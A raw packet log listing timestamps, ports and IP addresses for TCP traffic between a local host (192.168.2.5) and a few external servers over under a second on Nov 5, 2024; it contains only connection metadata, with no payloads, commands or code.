Nov 5, 2024 10:13:53.674010992 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.674021006 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.674026966 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.676568031 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.676588058 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.676775932 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.676898003 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.676909924 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.679331064 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.688692093 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.688960075 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.688971043 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.704308987 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.723087072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723135948 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723148108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723185062 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.723186970 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723200083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723210096 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.723212957 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723217010 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.723221064 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723251104 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.723570108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723582983 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723594904 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723606110 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.723627090 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.723640919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724025965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724037886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724049091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724066019 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724076986 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724090099 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724111080 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724514961 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724611044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724615097 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724663973 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724692106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724704981 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724735022 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724750042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724752903 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724764109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.724797010 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.724827051 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.735584974 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.746599913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746645927 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746666908 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.746671915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746685028 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746695995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746709108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746712923 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.746752024 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.746757030 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746781111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.746825933 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.746992111 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.746999025 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747009039 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747067928 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747073889 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.747080088 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747196913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.747246027 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.747258902 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747288942 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747292042 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.747292995 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.747297049 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747344971 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.747355938 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747364998 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.747395992 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.747997046 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.748017073 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.748043060 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.748056889 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.748074055 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.748167992 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.748972893 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.748987913 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.749605894 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.749625921 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.749680042 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.750194073 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.750205994 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.750611067 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.750633001 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.750761032 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.751848936 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.751862049 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.752198935 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.752213955 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.753035069 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.753038883 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.753402948 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.753421068 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.753583908 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.755675077 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.755686998 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.760471106 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.760483980 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.789393902 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.789962053 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.789983988 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.790530920 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.790537119 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.806010008 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.806648016 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.806663990 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.807233095 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.807238102 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.810528040 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.810925961 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.810955048 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.811306953 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.811317921 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.842624903 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842639923 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842650890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842662096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842673063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842683077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842694998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842704058 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.842705965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842719078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842730999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842744112 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842757940 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842765093 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.842768908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842782021 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842786074 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.842793941 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842799902 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.842803955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842816114 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.842828989 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.842852116 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.843486071 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.843507051 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.843523979 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.843580961 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.843596935 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.843611002 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.843638897 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.844770908 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.846412897 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.846434116 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.846507072 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.846518993 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.846568108 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.847012043 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.847062111 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.871207952 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.871234894 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.872083902 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.872090101 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.881767035 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.881791115 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.881802082 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.881828070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.881838083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.881844997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.881869078 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.881891012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882075071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882117033 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882195950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882208109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882220030 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882237911 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882249117 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882266045 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882276058 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882589102 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882630110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882642031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882653952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882668972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882679939 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.882688999 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882704973 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.882718086 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.894160032 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894181967 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894195080 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894202948 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894216061 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894222975 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894232988 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.894253016 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.894265890 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.894308090 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.899905920 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.899981022 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.899985075 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.900074959 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.900224924 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.900238037 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.900245905 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.900506020 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.929685116 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.929754972 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.929826975 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.931411028 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.931431055 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.931442022 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.931447029 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.934181929 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.934222937 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.934340000 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.934623957 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.934638023 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.944282055 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.944562912 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.944601059 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.944619894 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.944686890 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.944686890 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.944699049 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.944703102 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.947501898 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.947531939 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.947621107 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.947782993 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.947794914 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952007055 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952030897 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952080965 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.952094078 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952270031 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.952282906 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952291012 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.952400923 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952428102 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.952476025 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.954298973 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.954318047 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.954379082 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.954515934 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.954530954 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.957807064 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957828045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957839966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957850933 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957864046 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957875013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957880974 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.957886934 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957897902 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957911015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.957915068 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.957932949 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.957958937 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.958175898 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958197117 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958235979 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.958261967 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958273888 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958286047 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958302975 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.958323956 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.958391905 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958431959 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.958458900 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958470106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958482027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.958498955 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.958522081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.959733963 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.959759951 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.959809065 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.959825993 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.959840059 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.959861994 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.961512089 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.961534023 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.961576939 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.961585999 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.961597919 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.961729050 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.962094069 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.962141037 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.999134064 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999190092 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.999294043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999305964 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999324083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999335051 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999352932 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.999383926 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.999449015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999460936 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999473095 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999491930 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999495029 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.999510050 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.999537945 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.999932051 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999943018 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999953985 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.999982119 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.000006914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.000034094 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.000077009 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.000190973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.000205994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.000217915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.000238895 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.000267029 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.000385046 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.000427008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.000534058 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.000580072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.010981083 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.010996103 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.011038065 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.011039972 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.011095047 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.011226892 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.011239052 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.011250973 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.011255980 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.013473988 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.013490915 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.013549089 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.013653994 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.013665915 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.074182034 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.074201107 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.074244976 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.074260950 CET	443	50004	23.47.50.150	192.168.2.5
